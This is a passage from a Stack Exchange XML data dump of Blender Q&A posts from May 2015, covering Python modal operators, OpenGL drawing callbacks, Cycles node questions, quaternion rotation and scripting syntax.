context.area.tag_redraw()&#xA;        if event.type == 'MOUSEMOVE': # just for drawing the box&#xA;            self.max_x = event.mouse_region_x&#xA;            self.max_y = event.mouse_region_y&#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            if event.value == 'PRESS': # start selection&#xA;                self.selecting = True&#xA;                self.min_x = event.mouse_region_x&#xA;                self.min_y = event.mouse_region_y&#xA;&#xA;            if event.value == 'RELEASE': # end of selection&#xA;                #we have to sort the coordinates before passing them to select_border()&#xA;                self.max_x = max(event.mouse_region_x, self.min_x)&#xA;                self.max_y = max(event.mouse_region_y, self.min_y)&#xA;                self.min_x = min(event.mouse_region_x, self.min_x)&#xA;                self.min_y = min(event.mouse_region_y, self.min_y)&#xA;&#xA;                bpy.ops.view3d.select_border(gesture_mode=3, xmin=self.min_x, xmax=self.max_x, ymin=self.min_y, ymax=self.max_y, extend=True)&#xA;                bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')    &#xA;                return {'FINISHED'}&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;&#xA;        if context.space_data.type == 'VIEW_3D':&#xA;            args = (self, context)&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_PIXEL')&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;Active space must be a View3d&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SelectOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SelectOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-24T01:20:12.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31375" PostTypeId="1" AcceptedAnswerId="31376" CreationDate="2015-05-24T01:36:33.280" Score="5" ViewCount="2885" Body="&lt;p&gt;So far as I know, in Cycles, the nodes Separate RGB and Separate XYZ just take apart a three-element vector and put each component out. No math going on.  Is that true? Is the only difference in the names, for keeping clear what kind of data is passing through?&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2015-05-24T01:59:23.767" Title="Is &quot;Separate RGB&quot; identical to &quot;Separate XYZ&quot;?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31376" PostTypeId="2" ParentId="31375" CreationDate="2015-05-24T01:59:23.767" Score="7" Body="&lt;p&gt;By looking at the &lt;a href=&quot;https://github.com/dfelinto/blender-git/blob/master/intern/cycles/kernel/svm/svm_sepcomb_vector.h&quot;&gt;source code&lt;/a&gt;  and the note saying :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/* Vector combine / separate, used for the RGB and XYZ nodes */&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They are the same, and they don't use one node probably just to avoid confusion and keep data types separate&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-24T01:59:23.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31377" PostTypeId="1" CreationDate="2015-05-24T02:31:49.467" Score="4" ViewCount="318" Body="&lt;p&gt;Before Blender 2.74, the background of Blender files (not the 3D View, not the rendered picture, but previews in the Windows file manager) have matched the Horizon-Color setting in Blender Render (Properties&gt;World&gt;World&gt;Horizon Color).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you havent set camera on a fullscreen model or scene, all parts of the camera where nothing (no geometry/transparent space) is shown, appear in the color of this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with Blender 2.74 released, the background color went transparent for overwritten files, ignoring the Horizon setting.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a way to change the color again (without geometry)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14527" LastEditorUserId="599" LastEditDate="2015-05-24T06:15:12.177" LastActivityDate="2021-02-14T15:05:40.563" Title="How can I adjust background color of blendfile previews?" Tags="&lt;customization&gt;&lt;blend-files&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31378" PostTypeId="2" ParentId="31345" CreationDate="2015-05-24T03:22:01.557" Score="4" Body="&lt;p&gt;as @CoDEmanX noted you can disable the depth test with &lt;code&gt;bgl.glDisable(bgl.GL_DEPTH_TEST)&lt;/code&gt; while drawing and use the &lt;code&gt;POST_VIEW&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an example code of a modified draw modal operator :&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;import blf&#xA;from mathutils import Vector&#xA;from bpy_extras import view3d_utils&#xA;&#xA;def draw_callback_px(self, context, points):&#xA;&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(1.0, 1.0, 1.0, 1.0)&#xA;    bgl.glLineWidth(2)&#xA;    bgl.glDisable(bgl.GL_DEPTH_TEST)&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    for x, y, z in self.points:&#xA;        bgl.glVertex3f(x, y, z)&#xA;    bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glEnable(bgl.GL_DEPTH_TEST)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type == 'LEFTMOUSE':&#xA;            if event.value == 'RELEASE':&#xA;                co_2d = Vector((event.mouse_region_x, event.mouse_region_y))&#xA;                viewport = context.area.regions[4]&#xA;                r3d = context.area.spaces[0].region_3d&#xA;                nor =  view3d_utils.region_2d_to_vector_3d(viewport, r3d, co_2d)&#xA;                v3 =  view3d_utils.region_2d_to_location_3d(viewport, r3d, co_2d, nor)&#xA;&#xA;                self.points.append(v3) &#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            self.points = []&#xA;            args = (self, context, self.points)&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_VIEW')&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-24T03:22:01.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31380" PostTypeId="1" CreationDate="2015-05-24T04:38:03.040" Score="3" ViewCount="309" Body="&lt;p&gt;I made a Cycles script node using OSL. Works great.  To modify what it does, is it possible to add a checkbox, like for example the &quot;Clamp&quot; checkbox in math nodes?&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2015-05-24T12:42:14.637" Title="Can a Script node using OSL have a checkbox?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31381" PostTypeId="2" ParentId="31233" CreationDate="2015-05-24T05:13:39.237" Score="0" Body="&lt;p&gt;Go to File and Load Factory Settings. Open your scene and render. Most likely there is an Add-on loaded that is causing a rendering issue that stock Blender doesn't exhibit when rendering the same scene.&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2015-05-24T05:13:39.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31382" PostTypeId="1" CreationDate="2015-05-24T05:16:58.800" Score="0" ViewCount="91" Body="&lt;p&gt;I've ripped a model from within an emulator. It creates an .OBJ that has hundreds of materials using the same image with different names&#xA;&lt;strong&gt;[Material1(image1.png.001, image1.png.002); Material2(image1.png.001, image.png.004);Material3(image2.png.002);]&lt;/strong&gt; etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can clean all that up without having to manually go through and reassign textures for every face, in blender?&lt;/p&gt;&#xA;" OwnerUserId="14569" LastEditorUserId="14569" LastEditDate="2015-05-26T02:27:19.567" LastActivityDate="2015-05-26T02:27:19.567" Title="Q: Remove materials using same image? (Python?)" Tags="&lt;python&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31383" PostTypeId="2" ParentId="31254" CreationDate="2015-05-24T05:57:01.277" Score="1" Body="&lt;p&gt;A rotation matrix tells you what to do with the components of a vector indicating the position of a point.  For a rotation around X, a vector along X does not change.  At 90 degrees, a vector along Y becomes a vector along Z, and a Z vector becomes -Y.  Rotation about X causes Z and Y to intermingle.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fourth row/column do not matter - that is an artifact of doing 3D geometry in projective coordinates. We sometimes call it 'w' and normally just set it to 1.0 and leave it there.  The thing being rotated is a vector representing a direction or position.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rotation matrix does the rotating.  Generally, it intermingles components in a two-dimensional subspace, and leaves a one dimension subspace, the axis of rotation, alone.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Quaternions, in contrast, are better thought of (sometimes) as the thing being rotated. No, not rotated, but &quot;acted upon&quot;.   For quaternions act a bit odd.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The First Quirky Principle of Quaternions is that if we want to deal with a rotation of (theta) degrees, we work on the quaternion by half that angle.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Second Quirky Principle: instead of having three components like a vector, we add a fourth, conventionally called 'W'. We may call it the &quot;scalar component&quot;.  All four components are involved when we &quot;act upon&quot; the quaternion in a way corresponding to some rotation.  I've taken to calling this action &quot;Spotation&quot; for &quot;Spinor Rotation&quot; - in quantum physics, we use &quot;spinors&quot; which amount to the same thing as quaternions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider a rotation about X, as before.  The Y and Z components intermingle, as with a vector, but at half the rotation angle. That is, a 90 degree X rotation which would swap Y and Z (minus signs as appropriate) for a vector, will look like a 45 degree rotation has acted upon the Y and Z components of a quaternion.  (Does Blender S.E allow LaTeX?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Y' = 1/sqrt(2) Y - 1/sqrt(2) Z&#xA;Z' = 1/sqrt(2) Y + 1/sqrt(2) Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But according to the second quirky principle of quaternions, the &quot;spotation&quot; action intermingles the scalar 'W' component and the X component in a similar manner.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;W' = 1/sqrt(2) W - 1/sqrt(2) X&#xA;X' = 1/sqrt(2) W + 1/sqrt(2) X&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The exact algebraic rules for doing this were invented by Hamilton in the late 19th Century.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, a rotation about any axis &lt;strong&gt;A&lt;/strong&gt; will correspond to a &quot;spotation&quot; about the same axis &lt;strong&gt;A&lt;/strong&gt;, but while a given vector that happens to be parallel to &lt;strong&gt;A&lt;/strong&gt; will remain unaffected by the rotation, the corresponding spotation acting on a quaternion whose vector part is along &lt;strong&gt;A&lt;/strong&gt;, &lt;em&gt;will&lt;/em&gt; be affected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can relate quaternions to rotations by starting off with a quaternion which is pure scalar, that is,  w,x,y,z = 1,0,0,0.   Then some rotation &lt;strong&gt;R&lt;/strong&gt; about some axis &lt;strong&gt;A&lt;/strong&gt; by angle (theta) will act on the quaternion by converting the W component, being the only nonzero component, into a scalar + vector parallel to &lt;strong&gt;A&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that one consequence of the Two Quirky Principles of Quaternions is that a 180 degree rotation about any axis, which will just negate any vector perpendicular to the axis of rotation, corresponds to a spotation which looks like a 90 degree rotation. If the axis is along X Y or Z, it cleanly trades (with minus signs as needed) between W, Z, Y or Z.   This is a key point to why interpolation of orientation works so nicely with quaternions, as discovered by Ken Shoemake in the 1980s.  Negation of a vector does not offer any natural way to find a half-way point, but quaternions provide that nice hint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another interesting consequence is that a 360 rotation, easily confused with &quot;no operation&quot;, corresponds to a 180 degree spotation - negation of all four components of the spinor. I mean, quaternion.  Two different quaternions describe the same orientation of an object.  That sometimes leads to some problems when animating spinning, tumbling, rolling objects, but easily fixed by flipping the sign of a quaternion somewhere in the timeline.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also describes the strange antics of quantum particles such as electrons. As a theoretical physicist, I could blabber on and on about how all this arises from deep and beautiful mathematical relations between the rotation group in three dimensions, SO(3), and its double-covering group SU(2), and elegant math using &quot;multivectors&quot;, and more, but that's getting off-topic for this site...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: &quot;Quirky Principles of Quaternions&quot; is a phrase I made up on the spot just now, to avoid dealing with any real math. You won't find it in any textbook.)&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2015-05-24T05:57:01.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31384" PostTypeId="2" ParentId="31380" CreationDate="2015-05-24T07:31:21.760" Score="2" Body="&lt;p&gt;There is a thing called 'string widget' (metadata syntax), which may be of some interest. The &lt;a href=&quot;https://github.com/imageworks/OpenShadingLanguage/blob/master/src/doc/osl-languagespec.pdf&quot; rel=&quot;nofollow&quot;&gt;OSL specs&lt;/a&gt; suggest it in page 18 chapter 4, but that syntax may not be implemented in cycles. I haven't seen any examples of its usage. (Except for &lt;a href=&quot;http://docs.chaosgroup.com/display/VRAY3/OSL+Support+in+V-Ray#&quot; rel=&quot;nofollow&quot;&gt;vray - 3dsmax docs&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if Implemented from the specs, it would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int clamp = 0&#xA;    [[ string widget = &quot;checkBox&quot;]],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The implementor, Dingto, confirmed on IRC that metadata is not supported - yet.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-24T12:42:14.637" LastActivityDate="2015-05-24T12:42:14.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31385" PostTypeId="2" ParentId="31341" CreationDate="2015-05-24T07:31:46.953" Score="2" Body="&lt;p&gt;While i havent seen it doen inside the game engine, it has been done inside blender. there is a great stack exchange answer here &lt;a href=&quot;https://blender.stackexchange.com/questions/6494/how-to-move-an-arduinos-servo-motors-using-blender&quot;&gt;How to move an Arduino&amp;#39;s servo motors using Blender?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use this in the game engine you would need to modify the python code to use the game engine modules, and connect it as a python script controller in the game panel.&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-05-24T07:31:46.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31386" PostTypeId="1" CreationDate="2015-05-24T08:53:39.583" Score="3" ViewCount="1213" Body="&lt;p&gt;I want to run a script in Blender in background mode. If the script fails, I want to print my own error and have Blender exit with a return code of &lt;code&gt;1&lt;/code&gt;. I can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(&quot;script failed&quot;, file=sys.stderr)&#xA;sys.exit(1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In older versions of Blender e.g. 2.69, this causes Blender to print stuff like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Not freed memory blocks: 5&#xA;IDProperty group len: 128 0x7f98be0ff938&#xA;TEXT_OT_run_script len: 168 0x7f98be064938&#xA;wmOperatorPtrRNA len: 24 0x7f98be5f1c18&#xA;IDProperty array dup len: 128 0x7f98be16deb8&#xA;wmOperatorReportList len: 40 0x7f98be0b1078&#xA;&#xA;Blender quit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In 2.73a, it prints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Not freed memory blocks: 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is better but not ideal, because it might make it hard for a user of my script to see what the real error is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to make Blender exit?&lt;/p&gt;&#xA;" OwnerUserId="1146" LastEditorUserId="12" LastEditDate="2015-05-24T11:31:07.977" LastActivityDate="2015-05-24T11:31:07.977" Title="Cause Blender to cleanly exit with non-zero error code" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31387" PostTypeId="5" CreationDate="2015-05-24T08:58:51.020" Score="0" Body="&lt;p&gt;Blender can be started in background mode by passing in the &lt;code&gt;-b&lt;/code&gt; or &lt;code&gt;--background&lt;/code&gt; switch, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b [options] &amp;lt;file&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is often used to run Blender in an automated fashion. For example, a render farm might use this to render images on a node. Or a script might be run to analyse data and print the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this tag if your question relates to running Blender in batch/background mode.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastEditorUserId="1146" LastEditDate="2015-05-24T10:47:00.987" LastActivityDate="2015-05-24T10:47:00.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31388" PostTypeId="4" CreationDate="2015-05-24T08:58:51.020" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-05-24T08:58:51.020" LastActivityDate="2015-05-24T08:58:51.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31390" PostTypeId="1" AcceptedAnswerId="31391" CreationDate="2015-05-24T11:24:42.463" Score="2" ViewCount="334" Body="&lt;p&gt;I have scripted texture offset through script for blender &lt;strong&gt;internal material&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wNG7q.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;loc = bpy.data.objects[&amp;quot;RigName&amp;quot;].pose.bones[&amp;quot;BoneName&amp;quot;].location.x&#xA;bpy.data.materials[&amp;quot;MaterialName&amp;quot;].texture_slots[7].offset[0] = loc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the syntax to access texture mapping location in &lt;strong&gt;Cycles Material&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have the idea of setting up drivers but as i have already scripted it like above showed example for many of the characters so it will help to know the syntax in speeding change to cycles&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-24T12:16:19.150" Title="Cycles material What is the syntax to access texture mapping location?" Tags="&lt;cycles-render-engine&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31391" PostTypeId="2" ParentId="31390" CreationDate="2015-05-24T11:31:17.587" Score="3" Body="&lt;p&gt;Let's assume &lt;code&gt;Mapping&lt;/code&gt; is the unique name/identifier for the &lt;em&gt;Mapping&lt;/em&gt; node in question. To find the unique node name, select the node and view the Side panel (&lt;kbd&gt;N&lt;/kbd&gt; key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CNbwL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code to access the Location vector for &lt;em&gt;Mapping&lt;/em&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.materials['Material'].node_tree.nodes['Mapping'].translation&#xA;Vector((0.0, 0.0, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or more structured&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat = bpy.data.materials['Material']&#xA;nodes = mat.node_tree.nodes&#xA;mapping = nodes['Mapping']&#xA;mapping.translation = 1.0, 0, 0   # accepts tuple&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hover over the properties and the tooltip will give a hint as to where to find most properties. But for materials, the path is via &lt;code&gt;data.materials&lt;/code&gt; and not &lt;code&gt;data.node_groups&lt;/code&gt; as the tooltip suggests.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-24T12:16:19.150" LastActivityDate="2015-05-24T12:16:19.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31392" PostTypeId="1" CreationDate="2015-05-24T12:48:49.113" Score="1" ViewCount="121" Body="&lt;p&gt;I would like to run a script before the 3d viewport is redrawn. I know its possible to register to &quot;Frame changed&quot; events using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.handlers.frame_change_post.append(myfunc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but is the same possible for a redraw?&lt;/p&gt;&#xA;" OwnerUserId="2321" LastActivityDate="2015-05-24T12:48:49.113" Title="Is it possible to register to the redraw event in Blender?" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31393" PostTypeId="1" AcceptedAnswerId="50993" CreationDate="2015-05-24T12:49:42.577" Score="0" ViewCount="278" Body="&lt;p&gt;I need to get current playing action name in python. something like .getActionFrame() but with Name instead of Frame&#xA;Does it exists? If not, can someone tell me how to get current played action name?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if Arma.getActionFrame(3) &gt;= 20 and Arma.getActionFrame(3) &amp;lt;= 28 &lt;strong&gt;&lt;em&gt;and Arma.getActionName(3) == &quot;Action1&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12874" LastActivityDate="2016-09-16T13:23:22.870" Title="Get played action name" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31394" PostTypeId="1" AcceptedAnswerId="31419" CreationDate="2015-05-24T13:04:43.243" Score="3" ViewCount="314" Body="&lt;p&gt;If you check the docs, you can see under &lt;code&gt;NodeSocket(bpy_struct)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;type Data type Is &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Type: enum in [‘CUSTOM’, ‘VALUE’, ‘INT’, ‘BOOLEAN’, ‘VECTOR’,&#xA;  ‘STRING’, ‘RGBA’, ‘SHADER’], default ‘VALUE’&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What happens, if you connect sockets of differing types? In particular, RGBA connected to SHADER (Mix -&gt; Material Output), and RGBA connected to VALUE (Image Texture -&gt; ColorRamp)? Can someone tell how blender converts between the differing types?&lt;/p&gt;&#xA;" OwnerUserId="1770" LastEditorUserId="9" LastEditDate="2015-05-24T20:40:33.123" LastActivityDate="2015-05-24T21:25:28.930" Title="Connecting NodeSockets of differing types" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31397" PostTypeId="1" CreationDate="2015-05-24T13:32:56.597" Score="4" ViewCount="909" Body="&lt;p&gt;So when I run the game with the Embedded Player the split screen works but when I run it Standalone the size of the camera is changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embedded:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XptBE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Standalone:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1EGkA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make the standalone look like the Embedded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the split screen if that is needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic, render&#xA;camList = logic.getCurrentScene().cameras&#xA;&#xA;cont = logic.getCurrentController()&#xA;own = cont.owner&#xA;cam1 = camList[own['cam1']]&#xA;cam2 = camList[own['cam2']]&#xA;&#xA;width = render.getWindowWidth()&#xA;height = render.getWindowHeight()&#xA;&#xA;cam1.setViewport(0, 0, int(width/2), height)&#xA;cam2.setViewport(int(width/2), 0, width, height)&#xA;&#xA;cam1.useViewport = True&#xA;cam2.useViewport = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14475" LastActivityDate="2018-05-11T17:43:33.383" Title="Split Screen Resolution Problem (Game Engine)" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31398" PostTypeId="2" ParentId="8435" CreationDate="2015-05-24T14:20:30.987" Score="5" Body="&lt;p&gt;It seems it can be done in less code even, just the following code, no TextEditor windows open.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# text = bpy.data.texts.load(path_to_file)   # if from disk&#xA;text = bpy.data.texts['some_file_name.py']   # if exists in blend&#xA;ctx = bpy.context.copy()&#xA;ctx['edit_text'] = text&#xA;bpy.ops.text.run_script(ctx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed fine!&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-24T15:13:02.807" LastActivityDate="2015-05-24T15:13:02.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31399" PostTypeId="1" AcceptedAnswerId="31400" CreationDate="2015-05-24T14:40:53.050" Score="1" ViewCount="510" Body="&lt;p&gt;I want to achieve fallowing stencil effect using cycles mix nodes in &lt;strong&gt;single cycles&lt;/strong&gt; material&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bmsaV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B0jpq2cgNh8zMnpaQS1JaVFBRHM/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Images of eye shape and dot i have mentioned in the screen shot&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-05-24T17:57:50.963" Title="In cycles material how to get stencil effect similar to blender internal material" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31400" PostTypeId="2" ParentId="31399" CreationDate="2015-05-24T15:15:14.713" Score="1" Body="&lt;p&gt;With trial and error I got this result, which is what I was looking for. The two images are mixed based on the pupil image's alpha channel, overlaying it onto the eye image. Next the eyes are mixed with the background using the eye texture's alpha channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKLqI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="6204" LastEditDate="2015-05-24T17:57:50.963" LastActivityDate="2015-05-24T17:57:50.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
